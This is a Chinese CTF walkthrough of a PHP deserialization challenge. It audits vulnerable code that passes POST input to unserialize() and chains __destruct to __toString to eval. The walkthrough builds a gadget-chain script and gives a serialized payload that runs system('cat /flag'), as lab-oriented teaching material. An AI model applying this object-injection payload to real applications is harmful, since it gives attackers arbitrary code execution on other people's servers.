靶场地址:天狩CTF竞赛平台
来吧开搞,进入靶场
这个知识点页面即是知识总结,也是一种提示,说明此题目的主要是php反序列化,对于刚接触ctf的伙伴来说,此页面总结还可以,主要是简洁易懂,刚入门的小伙伴可以保存下来,这也是一个好的知识点总结
嗯,代码审计,对于这类题目,如果有些小伙伴没有接触过php脚本语言,可以把代码给AI分析,AI分析的还是很详细的,那么来解释一下代码
<?php error_reporting(0); highlight_file(__FILE__); class GIT { public $username; public $password; public function __construct(){ // 初始化默认凭证 $this->username = 'guest'; $this->password = 'Welcome to GITCTF!'; } public function __destruct(){ // 对象销毁时检查用户名,若为ZeroZone则输出密码 if($this->username == 'ZeroZone'){ echo $this->password; // 关键点:若控制username即可输出密码 } else{ echo 'ZeroZone Lab new bee !'; } } } class ZeroZone { public $code; public function __toString(){ // 当对象被当作字符串使用时执行代码 if(isset($this->code)){ eval($this->code); // 关键漏洞点:任意代码执行 return ''; } else{ echo "代码呢?"; return ''; } } } $data = new GIT(); // 创建默认GIT对象 // 反序列化用户输入(存在反序列化漏洞) if(isset($_POST['data'])){ $data = unserialize($_POST['data']); // 用户可控的反序列化入口 }
此代码的主要的意思是有一个GIT类。这个类有两个属性,username和password,构造函数将它们初始化为'guest'和'Welcome to GITCTF!'。析构函数__destruct会在对象销毁时被调用。如果username等于'ZeroZone',就会输出password,否则输出另一个字符串。所以此类的关键点在于通过反序列化修改username的值,从而触发输出password的内容。
另一个类ZeroZone类,有一个code属性和一个__toString魔术方法。当对象被当作字符串处理时,__toString会被调用。如果code存在,就会用eval执行其中的代码。否则输出“代码呢?”。这里存在代码执行的点,因为如果能够控制code的内容,就可以执行任意代码。
然后看主逻辑部分,首先创建了一个GIT的实例$data。如果POST中有data参数,就会对其进行反序列化,替换原来的$data对象。反序列化这里可能存在漏洞,因为用户可以控制输入的数据,构造特定的序列化字符串,触发GIT的析构函数中的条件,或者触发ZeroZone的__toString方法中的eval。
所以最终的目标是:让 $data->username == 'ZeroZone',并让 $data->password
由于 __destruct() 会输出 $data->password,如果能让 $data->password 为一个 ZeroZone 对象,并且触发 __toString(),就可以执行任意代码。
那么接下来就可以构建php反序列化代码,获得payload
<?php
class GIT {
public $username;
public $password;
}class ZeroZone {
public $code;
}// 构造恶意对象链
$zero = new ZeroZone();
$zero->code = "system('cat /flag');"; // 修改此处命令获取flag$git = new GIT();
$git->username = 'ZeroZone'; // 触发密码输出条件
$git->password = $zero; // 触发__toString方法// 生成payload
echo serialize($git);
?>
可以将代码放在在线平台运行:PHP 在线工具 | 菜鸟工具
payload:O:3:"GIT":2:{s:8:"username";s:8:"ZeroZone";s:8:"password";O:8:"ZeroZone":1:{s:4:"code";s:20:"system('cat /flag');";}}
根据代码已知通过POST方法来请求,并且通过参数data来传递,那么可以通过hackbar或者burpsuite来传递,或者curl也可以
hackbar传递:
bp和crul的话就不演示了,伙伴可以自己去尝试一下
ok,flag出来了,总结一下
此类题目主要思路:
1、首先大多数的序列化题目主要是代码审计,这是最重要的一步
2、代码审计后就可以构造出代码来进行反序列化,从而得出flag
3、序列化的重要标志是有unserialize和serialize函数。
题外话,现在ctf的反序列化题目大多数是php反序列化,但是在主要实战中java反序列化还是占比比较多,从它的漏洞数量就可以看出。现在大多数CVE的反序列化漏洞主要是java较多。
后续的题目会更新。